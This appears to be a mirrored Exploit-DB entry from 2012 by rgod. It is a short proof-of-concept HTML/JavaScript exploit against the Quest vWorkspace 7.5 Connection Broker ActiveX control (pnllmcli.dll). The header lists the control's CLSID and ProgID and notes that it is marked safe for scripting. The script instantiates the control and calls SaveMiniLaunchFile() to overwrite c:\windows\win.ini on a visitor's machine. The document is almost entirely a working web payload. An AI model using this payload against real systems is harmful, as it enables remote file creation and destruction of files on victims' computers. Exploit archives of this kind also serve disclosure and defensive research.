Quest vWorkspace 7.5 Connection Broker Client – ActiveX Control ‘pnllmcli.dll 7.5.304.547’ SaveMiniLaunchFile() Method Remote File Creation / Overwrite - 体验盒子

作者： rgod

日期： 2012-04-05

类别：

remote

平台：

windows

来源：https://www.exploit-db.com/exploits/18704/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

<!--

Quest vWorkspace 7.5 Connection Broker Client ActiveX Control (pnllmcli.dll 7.5.304.547)

SaveMiniLaunchFile() Method Remote File Creation / Overwrite

ie7/8

vendor site: http://www.quest.com/

file tested: Quest_vWorkspace-75--32-bit_75.zip

Binary Path: C:\WINDOWS\system32\pnllmcli.dll

CLSID: {D9397163-A2DB-4A4A-B2C9-34E876AF2DFC}

Progid: PNLLM.Client.1

Safe For Initialization (Registry): True

Safe For Scripting (Registry): True

rgod

-->

<html>

var obj = new ActiveXObject("PNLLM.Client.1");

obj.SaveMiniLaunchFile("","c:\\windows\\win.ini");

</script>